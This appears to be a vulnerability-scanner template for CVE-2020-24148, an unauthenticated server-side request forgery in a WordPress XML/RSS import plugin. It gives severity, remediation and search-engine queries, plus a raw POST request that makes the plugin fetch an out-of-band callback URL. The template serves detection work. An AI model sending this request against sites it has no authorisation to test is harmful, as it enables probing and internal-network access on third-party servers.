CVE-2020-24148: Import XML & RSS Feeds WordPress Plugin <= 2.0.1 Server-Side Request Forgery

id: CVE-2020-24148

info:
  name: Import XML & RSS Feeds WordPress Plugin <= 2.0.1 Server-Side Request Forgery
  author: dwisiswant0
  severity: critical
  description: WordPress plugin Import XML and RSS Feeds (import-xml-feed) plugin 2.0.1 contains a server-side request forgery (SSRF) vulnerability via the data parameter in a moove_read_xml action.
  impact: |
    Unauthenticated attackers can perform server-side request forgery to access internal resources, scan internal networks, or retrieve sensitive data from internal systems.
  remediation: |
    Update to the latest version of the Import XML & RSS Feeds WordPress Plugin (2.0.2 or higher) to mitigate the vulnerability.
  reference:
    - https://github.com/dwisiswant0/CVE-2020-24148
    - https://wordpress.org/plugins/import-xml-feed/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24148
    - https://github.com/secwx/research/blob/main/cve/CVE-2020-24148.md
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2020-24148
    cwe-id: CWE-918
    epss-score: 0.14745
    epss-percentile: 0.96497
    cpe: cpe:2.3:a:mooveagency:import_xml_and_rss_feeds:2.0.1:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: mooveagency
    product: import_xml_and_rss_feeds
    framework: wordpress
    shodan-query: http.html:"import-xml-feed"
    fofa-query: body="import-xml-feed"
  tags: cve,cve2020,wordpress,wp-plugin,ssrf,mooveagency,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/import-xml-feed/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Import XML feed'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=moove_read_xml HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        type=url&data=http%3A%2F%2F{{interactsh-url}}%2F&xmlaction=preview&node=0

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4b0a00483046022100d292ffd1f83bb3630098a3571fd2177d30e2e12acb302708c366e9009e6b642902210088287d6056ed9abcebb2d0d7f829142d0b40c3beb6bdd31041dcff78930e205a:922c64590222798bb761d5b6d8e72950

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